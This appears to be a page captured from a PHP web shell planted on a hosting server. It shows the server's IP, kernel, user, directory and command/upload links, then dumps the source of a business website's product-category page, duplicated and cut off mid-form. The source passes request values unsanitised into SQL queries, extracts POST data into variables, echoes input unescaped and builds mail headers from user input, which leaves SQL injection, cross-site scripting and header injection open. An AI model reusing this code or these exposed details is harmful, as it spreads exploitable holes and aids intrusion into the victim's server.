Server IP : 103.53.40.154 / Your IP : 18.225.149.158 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/biocareaqua.org/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("site-header.php");?> <link rel="stylesheet" href="<?=$site_url?>/css/lightbox.css"> <?php $prd_name=$_REQUEST['cat_name']; $catID=db_scalar("select category_id from tbl_category where 1 and category_url='$prd_name'"); if($catID=="") { header("location:error.html"); } $countSubCat=db_scalar("select count(*) from tbl_category where category_parent_id='$catID' and category_status='Active'"); // Count for sub category ?> <?php // if($countSubCat > 0){ ?> <?php $sql_cat=db_query("select * from tbl_category where 1 and category_id='$catID'"); if(mysqli_num_rows($sql_cat) > 0){ $CAT_DATA=mysqli_fetch_array($sql_cat); @extract($CAT_DATA); } ?> <div id="pageHeader" data-bg-path="img/background-images/page-bg.jpg"> <div class="vc-parent"> <div class="vc-child"> <section class="page-title"> <h1 style="font-size:40px;color:white;text-align: center;"><?=$CAT_DATA['category_name']?></h1> <ol class="breadcrumb text-center"> <li><a href="<?=$site_url?>/index.html">Home</a></li> <?php $c_type=db_scalar("select category_is_product from tbl_category where 1 and category_id='$catID'"); if($c_type=="Yes" || $c_type=="No" && $compDATA['admin_product_option']=="Both") { if($c_type=="Yes") {?> <li><a href="<?=$site_url?>/products.html"> Products </a></li> <?php } elseif($c_type=="No") { ?> <li><a href="<?=$site_url?>/services.html"> Services </a></li> <?php } } elseif($c_type=="Yes" && $compDATA['admin_product_option']=="Yes") {?> <li><a href="<?=$site_url?>/products.html"> Products </a></li> <?php } else{?> <li><a href="<?=$site_url?>/services.html"> Services </a></li> <?php } ?> <li class="active"><?=$CAT_DATA['category_name']?></li> </ol> </section> </div> </div> </div> <div id="blog" class="page blog-details-page"> <div class="container"> <div class="row"> <aside class="col-md-4 blog-page-sidebar"> <div class="post-img"> <? if($CAT_DATA['category_image_alt_title']=="") { if($CAT_DATA['category_is_product']=="Yes") { ?> <img src="<?=$site_url?>/uploaded_files/<?=$CAT_DATA['category_image_name']?>" title="<?=$CAT_DATA['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$CAT_DATA['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%" /> <? } else if($CAT_DATA['category_is_product']=="No") { ?> <img src="<?=$site_url?>/uploaded_files/<?=$CAT_DATA['category_image_name']?>" title="<?=$CAT_DATA['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$CAT_DATA['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%"/> <?} ?> <?}else{?> <img src="<?=$site_url?>/uploaded_files/<?=$CAT_DATA['category_image_name']?>" alt="<?=$CAT_DATA['category_image_alt_title']?>"title="<?=$CAT_DATA['category_image_alt_title']?>" width="100%"> <?} ?> </div> </aside> <div class="col-md-8 blog-page-content post-details"> <div class="col-lg-12 content"> <?=$CAT_DATA['category_description']?> </div> </div> </div> <div class="row" style="margin-top:70px;"> <?php $sql_catimage=db_query("select * from tbl_category_image where 1 and category_image_cat_id='$catID' order by category_image_id desc"); if(mysqli_num_rows($sql_catimage)>0){ ?> <section> <h3 class="widget-title"><?=$CAT_DATA['category_name']?> Images</h3> </section> <div class="portfolio-items"> <?php $c=0; while($CAT_IMAGE=mysqli_fetch_array($sql_catimage)){ @extract($CAT_IMAGE); $c++; ?> <div class="col-lg-3 portfolio-item width-25"> <a href="#"> <? $ca_type=db_scalar("select category_is_product from tbl_category where category_id=$CAT_IMAGE[category_image_cat_id] "); if($CAT_IMAGE['category_image_alt_title']=="") { if($ca_type=="Yes") { ?> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" title="<?=$CAT_IMAGE['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$CAT_IMAGE['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%" height="180" /> <? } else if($ca_type=="No") { ?> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" title="<?=$CAT_IMAGE['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$CAT_IMAGE['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%" height="180" /> <?} ?> <?}else{?> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="<?=$CAT_IMAGE['category_image_alt_title']?>"title="<?=$CAT_IMAGE['category_image_alt_title']?>" width="100%" height="180"> <?}?> </a> <div class="overlay"> <div class="vc-parent"> <div class="vc-child"> <a href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" data-lightbox="example-1" target="blank"><i class="fa fa-search-plus"></i> </a> </div> </div> </div> </div> <?php /*?><div class="portfolio-item width-25"> <a href="#"> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="Gallery Image" title="Gallery Image" width="100%" height="180"> </a> <div class="overlay"> <div class="vc-parent"> <div class="vc-child"> <a href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" class="portfolio-img-link mdl-button mdl-js-button mdl-button--raised mdl-js-ripple-effect mdl-button--accent"> <i class="fa fa-search-plus"></i> </a> </div> </div> </div> </div><?php */?> <? } ?> </div> <? } ?> <?php $sql_subcat=db_query("select * from tbl_category where 1 and category_parent_id='$catID' and category_status='Active' order by category_id asc"); $prdCount=mysqli_num_rows($sql_subcat); if($prdCount>0){ ?> <section style="margin-top:40px"> <h3 class="widget-title"> <?=$CAT_DATA['category_name']?> </h3> </section> <?php while($SUBCAT_DATA=mysqli_fetch_array($sql_subcat)){ @extract($SUBCAT_DATA); ?> <div class="col-md-3 feature-item" style="margin-top:50px;"> <? if($SUBCAT_DATA['category_image_alt_title']=="") { if($SUBCAT_DATA['category_is_product']=="Yes") { ?> <img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" title="<?=$SUBCAT_DATA['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$SUBCAT_DATA['category_name']?> manufacturer supplier exporter importer dealer in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%" height="200" /> <? } else if($SUBCAT_DATA['category_is_product']=="No") { ?> <img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" title="<?=$SUBCAT_DATA['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" alt="<?=$SUBCAT_DATA['category_name']?> services in <?=$compDATA['admin_address']?> <?=$compDATA['admin_city']?> <?=$compDATA['admin_country']?>" width="100%" height="200" /> <?} ?> <?}else{?> <img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" alt="<?=$SUBCAT_DATA['category_image_alt_title']?>"title="<?=$SUBCAT_DATA['category_image_alt_title']?>" width="100%" height="200" /> <?}?> <div class="content"> <h3 class="heading"><?=substr($SUBCAT_DATA['category_name'],0,30);?></h3> <?php $description=strip_tags($SUBCAT_DATA['category_description']);?> <p class="desc"><?=substr($description,0,50);?></p> <div class="read-more-btn"> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html" class="read-more mdl-button mdl-js-button mdl-js-ripple-effect mdl-button--raised mdl-button--accent">read more</a> </div> </div> </div> <?php /*?><div class="col-md-3" > <div style="border:1px solid #E2E2E2; padding:5px; margin-top:10px;"> <section class="popular-post-item clearfix"> <div class="preview-img"><a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html"><img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" alt="<?php if($SUBCAT_DATA['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" title="<?php if($SUBCAT_DATA['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" style="width:100%; height:170px;"></a></div> <h5><a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html"> <?=substr($SUBCAT_DATA['category_name'],0,20);?> </a></h5> <?php $description=strip_tags($SUBCAT_DATA['category_description']);?> <div class="content"><?=substr($description,0,40);?></div> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html" class="btn btn-xs btn-warning mt-10 mb-10">View Detail</a> </section></div> </div><?php */?> <? } ?> <? } ?> </div> <?php session_start(); if(isset($_POST['EnqSubmit'])){ @extract($_POST); if($_SESSION["code"]!=$_POST['captcha']){ $clrerr="red"; set_session_msg("The Security Code does not match !"); /* $clrerr="red"; set_session_msg("The Security Code does not match !");*/ }else{ $sql="insert into tbl_enquiry set enquiry_name='$enquiry_name', enquiry_mobile='$enquiry_mobile', enquiry_email='$enquiry_email', enquiry_subject='$enquiry_subject', enquiry_detail='$enquiry_detail', enquiry_source='Product', enquiry_add_date=now()"; db_query($sql); ///////////////****** Mailer to client start here **********************////////////// $hostName = $_SERVER['HTTP_HOST']; $msgmail="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' /> <title>TradeKeyIndia.com-Largest B2B Portal In India</title> </head> <body> <table align='center' cellSpacing='0' cellPadding='0' width='87%' border='1' style='border:1px solid #e61938'> <tbody> <tr> <td vAlign='top' style='background-color:#e61938; padding:10px;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#ffffff; text-align:center; font-weight:bold;' colspan='3' >Product Enquiry From $hostName</td> </tr> <tr> <td width='30%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Name</strong> </td> <td vAlign='top' width='70%' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_name</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Mobile </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_mobile</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Email-Id</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_email </td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Enquiry For </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_subject</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Detail </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_detail</td> </tr> </tbody> </table> </body> </html>"; $toEmail = $compDATA['admin_email']; $subject = "Enquiry from $hostName"; $from="$enquiry_email"; $Headers1 = "From: $enquiry_name<$from>\n"; $Headers1 .= "X-Mailer: PHP/". phpversion(); $Headers1 .= "X-Priority: 3 \n"; $Headers1 .= "MIME-version: 1.0\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.in"); //@mail("amitabh.tradekeyindia@gmail.com", "Subject", "Msg1","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail."<br>"; ///////////////****** Mailer to client end here **********************////////////// ///////////////// Mail To Admin ////////////////////////////////// $mail_to_admin="client_enquiry@tradekeyindia.com"; $sub_admin="Business Enquiry From $hostName"; $mail_admin_body = "$msgmail"; $sender_admin =$enquiry_email; $headers_admin = "MIME-Version: 1.0" . "\r\n"; $headers_admin .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $headers_admin .= "from: ".$sender_admin."\n"; if($enquiry_email){ @mail($mail_to_admin,$sub_admin,$mail_admin_body,$headers_admin); } ///////////////// Mail To Admin End////////////////////////////////// $clrerr="green"; set_session_msg("Enquiry form submitted successfully. We will contact you soon."); //header("Location: ".$_SERVER['HTTP_REFERER']); // exit; } } ?> <div class="col-md-12"> <div align="center" style="font-size:17px; color:<?=$clrerr?>; font-weight:bold; margin-bottom:10px;"> <?=display_sess_msg()?> </div> </div> <div class="row" style="margin-top:70px;"> <div class="col-md-8 col-md-offset-2"> <h2 class="post-comments-title">Enquiry Form</h2> <div class="mdl-card__supporting-text post-comment-form-group"> <form name="prdFrm" action="" method="post" enctype="multipart/form-data" onsubmit="return EnqValidation()" id="postCommentForm"> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_name" id="enquiry_name" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_name']?>" <? } ?> maxlength="80"> <label class="mdl-textfield__label" for="enquiry_name">Name</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_email" id="enquiry_email" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_email']?>" <? } ?> maxlength="80"> <label class="mdl-textfield__label" for="enquiry_email">Email</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_mobile" id="enquiry_mobile" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_mobile']?>" <? } ?> maxlength="15"> <label class="mdl-textfield__label" for="enquiry_mobile">Mobile</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_subject" id="enquiry_subject" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_subject']?>" <? } ?> maxlength="100"> <label class="mdl-textfield__label" for="enquiry_subject">Enquiry For</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <textarea class="mdl-textfield__input" rows="4" name="enquiry_detail" id="enquiry_detail"><?php if($clrerr=="red"){ ?><?=$_POST['enquiry_detail']?><? } ?></textarea> <label class="mdl-textfield__label" for="enquiry_detail">Message</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="captcha" maxlength="4" autocomplete="off" id="security_code"> <label class="mdl-textfield__label" for="captcha">Captcha</label> <img src="<?=$site_url?>/amitabhcaptcha.php" class="vam" width="60" height="31" alt="Captcha" /> </div> </div> </div> <div class="row"> <div class="col-md-12"> <input type="submit" value="Submit" name="EnqSubmit" class="mdl-button mdl-button--raised mdl-button--accent"/> </div> </div> </form> </div> </div> </div> </div> </div> <? //} ?> <script type="text/javascript"> function EnqValidation(){ function trim(str){ return str.replace(/^\s*|\s*$/g,''); } if(trim(document.getElementById('enquiry_name').value)==0){ alert("Enter Your Name !"); document.getElementById('enquiry_name').focus(); return false; } if (!document.getElementById('enquiry_name').value.match(/^[a-zA-Z-,]+(\s{0,1}[a-zA-Z-, ])*$/)) { alert("Please enter only alphabets !"); document.getElementById('enquiry_name').value=''; document.getElementById('enquiry_name').focus(); return false; } var email=trim(document.getElementById('enquiry_email').value); var mailformat = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/; if(email=='') { alert('Please Enter Email Id'); document.getElementById('enquiry_email').focus(); return false; }else if(!email.match(mailformat)){ alert("You have entered an invalid email address!"); document.getElementById('enquiry_email').focus(); return false; } var mobno=trim(document.getElementById('enquiry_mobile').value); if(trim(document.getElementById('enquiry_mobile').value)==0){ alert("Enter your mobile no.!"); document.getElementById('enquiry_mobile').focus(); return false; } if(isNaN(document.getElementById('enquiry_mobile').value)){ alert("Mobile no. should be no.!"); document.getElementById('enquiry_mobile').focus(); return false; } if(mobno.length < 10){ alert("Mobile no. should be 10 digit long !"); document.getElementById('enquiry_mobile').focus(); return false; } if(trim(document.getElementById('enquiry_subject').value)==0){ alert("Enter your enquiry subject !"); document.getElementById('enquiry_subject').focus(); return false; } if(trim(document.getElementById('enquiry_detail').value)==0){ alert("Enter your enquiry detail !"); document.getElementById('enquiry_detail').focus(); return false; } if(trim(document.getElementById('security_code').value)==0){ alert("Enter security code !"); document.getElementById('security_code').focus(); return false; } } </script> <script src="<?=$site_url?>/js/lightbox.js"></script> <?php include("site-footer.php");?><?php include("site-header.php");?> <link rel="stylesheet" href="<?=$site_url?>/css/lightbox.css"> <?php $prd_name=$_REQUEST['cat_name']; $catID=db_scalar("select category_id from tbl_category where 1 and category_url='$prd_name'"); $countSubCat=db_scalar("select count(*) from tbl_category where category_parent_id='$catID' and category_status='Active'"); // Count for sub category ?> <?php // if($countSubCat > 0){ ?> <?php $sql_cat=db_query("select * from tbl_category where 1 and category_id='$catID'"); if(mysqli_num_rows($sql_cat) > 0){ $CAT_DATA=mysqli_fetch_array($sql_cat); @extract($CAT_DATA); } ?> <div id="pageHeader" data-bg-path="img/background-images/page-bg.jpg"> <div class="vc-parent"> <div class="vc-child"> <section class="page-title"> <h2><?=$CAT_DATA['category_name']?></h2> <ol class="breadcrumb text-center"> <li><a href="<?=$site_url?>/index.html">Home</a></li> <?php $c_type=db_scalar("select category_is_product from tbl_category where 1 and category_id='$catID'"); if($c_type=="Yes" || $c_type=="No" && $compDATA['admin_product_option']=="Both") { if($c_type=="Yes") {?> <li><a href="<?=$site_url?>/products.html"> Products </a></li> <?php } elseif($c_type=="No") { ?> <li><a href="<?=$site_url?>/services.html"> Services </a></li> <?php } } elseif($c_type=="Yes" && $compDATA['admin_product_option']=="Yes") {?> <li><a href="<?=$site_url?>/products.html"> Products </a></li> <?php } else{?> <li><a href="<?=$site_url?>/services.html"> Services </a></li> <?php } ?> <li class="active" style="color:white; font-weight:bold"><?=$CAT_DATA['category_name']?></li> </ol> </section> </div> </div> </div> <div id="blog" class="page blog-details-page"> <div class="container"> <div class="row"> <aside class="col-md-4 blog-page-sidebar"> <div class="post-img"><img src="<?=$site_url?>/uploaded_files/<?=$CAT_DATA['category_image_name']?>" alt="<?=$CAT_DATA['category_image_alt_title']?>" title="<?=$CAT_DATA['category_image_alt_title']?>" width="100%"></div> </aside> <div class="col-md-8 blog-page-content post-details"> <div class="col-lg-12 content"> <?=$CAT_DATA['category_description']?> </div> </div> </div> <div class="row" style="margin-top:70px;"> <?php $sql_catimage=db_query("select * from tbl_category_image where 1 and category_image_cat_id='$catID' order by category_image_id desc"); if(mysqli_num_rows($sql_catimage)>0){ ?> <section> <h3 class="widget-title"><?=$CAT_DATA['category_name']?> Images</h3> </section> <div class="portfolio-items"> <?php $c=0; while($CAT_IMAGE=mysqli_fetch_array($sql_catimage)){ @extract($CAT_IMAGE); $c++; ?> <div class="col-lg-3 portfolio-item width-25"> <a href="#"> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="<?=$CAT_IMAGE['category_image_alt_title']?>" title="<?=$CAT_IMAGE['category_image_alt_title']?>" width="100%" height="180"> </a> <div class="overlay"> <div class="vc-parent"> <div class="vc-child"> <a href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" data-lightbox="example-1" target="blank"><i class="fa fa-search-plus"></i> </a> </div> </div> </div> </div> <?php /*?><div class="portfolio-item width-25"> <a href="#"> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="Gallery Image" title="Gallery Image" width="100%" height="180"> </a> <div class="overlay"> <div class="vc-parent"> <div class="vc-child"> <a href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" class="portfolio-img-link mdl-button mdl-js-button mdl-button--raised mdl-js-ripple-effect mdl-button--accent"> <i class="fa fa-search-plus"></i> </a> </div> </div> </div> </div><?php */?> <? } ?> </div> <? } ?> <?php $sql_subcat=db_query("select * from tbl_category where 1 and category_parent_id='$catID' and category_status='Active' order by category_id asc"); $prdCount=mysqli_num_rows($sql_subcat); if($prdCount>0){ ?> <section style="margin-top:40px"> <h3 class="widget-title"> <?=$CAT_DATA['category_name']?> </h3> </section> <?php while($SUBCAT_DATA=mysqli_fetch_array($sql_subcat)){ @extract($SUBCAT_DATA); ?> <div class="col-md-3 feature-item" style="margin-top:50px;"> <img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" alt="<?=$SUBCAT_DATA['category_image_alt_title']?>" title="<?=$SUBCAT_DATA['category_image_alt_title']?>" width="100%" height="200" /> <div class="content"> <h3 class="heading"><?=substr($SUBCAT_DATA['category_name'],0,30);?></h3> <?php $description=strip_tags($SUBCAT_DATA['category_description']);?> <p class="desc"><?=substr($description,0,50);?></p> <div class="read-more-btn"> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html" class="read-more mdl-button mdl-js-button mdl-js-ripple-effect mdl-button--raised mdl-button--accent">read more</a> </div> </div> </div> <?php /*?><div class="col-md-3" > <div style="border:1px solid #E2E2E2; padding:5px; margin-top:10px;"> <section class="popular-post-item clearfix"> <div class="preview-img"><a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html"><img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" alt="<?php if($SUBCAT_DATA['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" title="<?php if($SUBCAT_DATA['category_is_product']=='Yes'){ ?> Manufacturers Exporters and Wholesale Suppliers of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? }else{ ?> Service Provider of <?=$SUBCAT_DATA['category_name']?> <?php echo $compDATA['admin_city']; ?> <?php echo $compDATA['admin_state']; ?> <? } ?>" style="width:100%; height:170px;"></a></div> <h5><a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html"> <?=substr($SUBCAT_DATA['category_name'],0,20);?> </a></h5> <?php $description=strip_tags($SUBCAT_DATA['category_description']);?> <div class="content"><?=substr($description,0,40);?></div> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html" class="btn btn-xs btn-warning mt-10 mb-10">View Detail</a> </section></div> </div><?php */?> <? } ?> <? } ?> </div> <?php session_start(); if(isset($_POST['EnqSubmit'])){ @extract($_POST); if($_SESSION["code"]!=$_POST['captcha']){ $clrerr="red"; set_session_msg("The Security Code does not match !"); /* $clrerr="red"; set_session_msg("The Security Code does not match !");*/ }else{ $sql="insert into tbl_enquiry set enquiry_name='$enquiry_name', enquiry_mobile='$enquiry_mobile', enquiry_email='$enquiry_email', enquiry_subject='$enquiry_subject', enquiry_detail='$enquiry_detail', enquiry_source='Product', enquiry_add_date=now()"; db_query($sql); ///////////////****** Mailer to client start here **********************////////////// $hostName = $_SERVER['HTTP_HOST']; $msgmail="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='http://www.w3.org/1999/xhtml'> <head> <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1' /> <title>TradeKeyIndia.com-Largest B2B Portal In India</title> </head> <body> <table align='center' cellSpacing='0' cellPadding='0' width='87%' border='1' style='border:1px solid #e61938'> <tbody> <tr> <td vAlign='top' style='background-color:#e61938; padding:10px;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:16px; color:#ffffff; text-align:center; font-weight:bold;' colspan='3' >Product Enquiry From $hostName</td> </tr> <tr> <td width='30%' vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Name</strong> </td> <td vAlign='top' width='70%' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_name</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Mobile </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_mobile</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Email-Id</strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_email </td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Enquiry For </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_subject</td> </tr> <tr> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; color:#003366; background-color:#F9E2DD;padding:10px;' ><strong>Detail </strong> </td> <td vAlign='top' style='font-family:Verdana, Arial, Helvetica, sans-serif;padding:10px;'>$enquiry_detail</td> </tr> </tbody> </table> </body> </html>"; $toEmail = $compDATA['admin_email']; $subject = "Enquiry from $hostName"; $from="$enquiry_email"; $Headers1 = "From: $enquiry_name<$from>\n"; $Headers1 .= "X-Mailer: PHP/". phpversion(); $Headers1 .= "X-Priority: 3 \n"; $Headers1 .= "MIME-version: 1.0\n"; $Headers1 .= "Content-Type: text/html; charset=iso-8859-1\n"; @mail("$toEmail", "$subject", "$msgmail","$Headers1","-fenquiry@tradekeyindia.in"); //@mail("amitabh.tradekeyindia@gmail.com", "Subject", "Msg1","$Headers1","-fenquiry@tradekeyindia.com"); $toEmail."<br>"; ///////////////****** Mailer to client end here **********************////////////// ///////////////// Mail To Admin ////////////////////////////////// $mail_to_admin="client_enquiry@tradekeyindia.com"; $sub_admin="Business Enquiry From $hostName"; $mail_admin_body = "$msgmail"; $sender_admin =$enquiry_email; $headers_admin = "MIME-Version: 1.0" . "\r\n"; $headers_admin .= "Content-type: text/html; charset=iso-8859-1" . "\r\n"; $headers_admin .= "from: ".$sender_admin."\n"; if($enquiry_email){ @mail($mail_to_admin,$sub_admin,$mail_admin_body,$headers_admin); } ///////////////// Mail To Admin End////////////////////////////////// $clrerr="green"; set_session_msg("Enquiry form submitted successfully. We will contact you soon."); //header("Location: ".$_SERVER['HTTP_REFERER']); // exit; } } ?> <div class="col-md-12"> <div align="center" style="font-size:17px; color:<?=$clrerr?>; font-weight:bold; margin-bottom:10px;"> <?=display_sess_msg()?> </div> </div> <div class="row" style="margin-top:70px;"> <div class="col-md-8 col-md-offset-2"> <h2 class="post-comments-title">Enquiry Form</h2> <div class="mdl-card__supporting-text post-comment-form-group"> <form name="prdFrm" action="" method="post" enctype="multipart/form-data" onsubmit="return EnqValidation()" id="postCommentForm"> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_name" id="enquiry_name" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_name']?>" <? } ?> maxlength="80"> <label class="mdl-textfield__label" for="enquiry_name">Name</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_email" id="enquiry_email" <?php if($clrerr=="red"){ ?> value="<?=$_POST['enquiry_email']?>" <? } ?> maxlength="80"> <label class="mdl-textfield__label" for="enquiry_email">Email</label> </div> </div> </div> <div class="row"> <div class="col-md-12"> <div class="mdl-textfield mdl-js-textfield"> <input class="mdl-textfield__input" type="text" name="enquiry_mobile" id="enquiry_mobile" <?php if($clrerr=="red"){ ?> 